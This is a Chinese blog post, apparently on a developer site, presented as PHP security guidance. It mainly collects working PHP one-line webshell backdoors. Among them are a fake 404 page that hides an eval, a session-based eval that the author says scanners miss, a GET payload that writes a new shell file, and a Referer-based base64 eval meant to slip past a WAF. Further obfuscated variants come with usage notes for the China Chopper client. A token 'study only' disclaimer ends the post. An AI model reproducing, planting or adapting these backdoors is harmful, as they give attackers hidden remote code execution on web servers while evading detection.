php超强后门在任意位置创建文件,php一句话后门参考(php安全防范技术)

用php写的程序,由于开发人员水平的问题,经常会存在一些后门被人利用。

本节介绍PHP一句话木马。

利用404页面隐藏PHP小马:

复制代码 代码示例:

"-//IETF//DTD HTML 2.0//EN" >

404 Not Found

Not Found

The requested URL was not found on this server.

@preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" );

header( 'HTTP/1.1 404 Not Found' );

?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话:

复制代码 代码示例:

session_start();

$_POST [ 'code' ] &&  $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);

$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );

?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

复制代码 代码示例:

仅用GET函数就构成了木马;

利用方法:

复制代码 代码示例:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应

用。

层级请求,编码运行PHP后门:

此方法用两个文件实现,文件1

复制代码 代码示例:

//1.php

header( 'Content-type:text/html;charset=utf-8' );

parse_str ( $_SERVER [ 'HTTP_REFERER' ],  $a );

if (reset( $a ) ==  '10' &&  count ( $a ) == 9) {

eval ( base64_decode ( str_replace ( " " ,  "+" , implode( array_slice ( $a , 6)))));

}

?>

文件2

复制代码 代码示例:

//2.php

header( 'Content-type:text/html;charset=utf-8' );

//要执行的代码

$code = <<

phpinfo();

CODE;

//进行base64编码

$code =  base64_encode ( $code );

//构造referer字符串

$referer =  "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;

//后门url

$url =  'http://localhost/test1/1.php ' ;

$ch = curl_init();

$options =  array (

CURLOPT_URL =>  $url ,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER =>  $referer

);

curl_setopt_array( $ch ,  $options );

echocurl_exec( $ch );

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代

替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system

等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

三个变形的一句话PHP木马

第一个

复制代码 代码示例:

在菜刀里写http://site/1.php?2=assert密码是1

第二个

复制代码 代码示例:

$_ = "" ;

$_ [+ "" ]= '' ;

$_ = "$_" . "" ;

$_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" );

?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。

如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

( $b4dboy =  $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' ,  'add' );

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果。

最后列几个高级的PHP一句话木马后门:

1、

复制代码 代码示例:

$hh =  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ;

$hh ( "/[discuz]/e" , $_POST [ 'h' ], "Access" );

//一句话

2、

复制代码 代码示例:

$filename = $_GET [ 'xbid' ];

include ( $filename );

//危险的include函数,直接编译任何文件为php格式运行

3、

复制代码 代码示例:

$reg = "c" . "o" . "p" . "y" ;

$reg ( $_FILES [MyFile][tmp_name], $_FILES [MyFile][name]);

//重命名任何文件

4、

复制代码 代码示例:

$gzid =  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ;

$gzid ( "/[discuz]/e" , $_POST [ 'h' ], "Access" );

//菜刀一句话

5、 include ( $uid );

复制代码 代码示例:

//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

//gif插一句话

6、典型一句话程序后门代码

复制代码 代码示例:

//容错代码

//使用lanker一句话客户端的专家模式执行相关的php语句

$_POST [ 'sa' ]( $_POST [ 'sb' ]);?>

$_POST [ 'sa' ]( $_POST [ 'sb' ], $_POST [ 'sc' ])?>

@preg_replace( "/[email]/e" , $_POST [ 'h' ], "error" );

?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

h=@eval_r( $_POST1 );

//绕过<?限制的一句话

以上介绍的内容,仅供大家学习与研究php后门之用,不可用于危害他人网站,切记!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值